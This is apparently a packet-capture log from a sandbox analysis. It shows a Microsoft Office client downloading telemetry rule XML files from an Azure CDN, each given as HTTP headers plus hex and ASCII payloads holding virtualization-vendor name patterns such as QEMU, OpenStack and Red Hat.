encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.9	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:03 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:03 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 4defd72f-901e-005b-7278-402005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215403Z-174f7845968nxc96hC1EWRspw800000011tg0000000063b6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:03 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.9	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:04 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:05 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: de22cebb-201e-0096-3909-42ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215405Z-174f784596886s2bhC1EWR743w000000124g000000002vyt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:05 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.9	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:05 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:05 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 4d2a6959-e01e-0085-41b2-42c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215405Z-174f7845968cdxdrhC1EWRg0en00000011zg0000000096bw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:05 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.9	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:05 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:05 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: d6e812ca-001e-008d-1b5a-40d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215405Z-174f7845968nxc96hC1EWRspw800000011s0000000009tbm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:05 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.9	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:07 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:07 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 63854d8c-901e-007b-2581-3fac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215407Z-174f78459685m244hC1EWRgp2c00000011w00000000075cb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:07 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.9	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:07 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:07 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: e0c123a1-301e-000c-48a2-42323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215407Z-174f7845968xlwnmhC1EWR0sv800000011xg000000003h0y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:07 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.9	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:07 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:07 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: b4ece731-701e-0097-3213-42b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215407Z-174f78459685m244hC1EWRgp2c00000011s000000000hd21 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:07 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.9	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:07 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:07 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6d321ea9-801e-007b-3924-42e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215407Z-174f7845968vqt9xhC1EWRgten0000001240000000004h10 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:07 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.9	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:08 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:08 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 97970dc3-901e-008f-6c91-3f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215408Z-174f7845968zgtf6hC1EWRqd8s0000000uzg000000008pvk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:09 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.9	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:09 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:09 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: ccb4b789-101e-0028-02af-428f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215409Z-174f7845968pf68xhC1EWRr4h800000012ag000000004h9f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:09 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.9	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:09 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:09 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: f990aecf-801e-0035-05af-42752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215409Z-174f7845968frfdmhC1EWRxxbw000000124g000000003baa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:09 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.9	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:09 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:10 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:09 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 55122f27-801e-0083-61b2-42f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215409Z-174f7845968swgbqhC1EWRmnb4000000123g00000000ehdk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:10 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 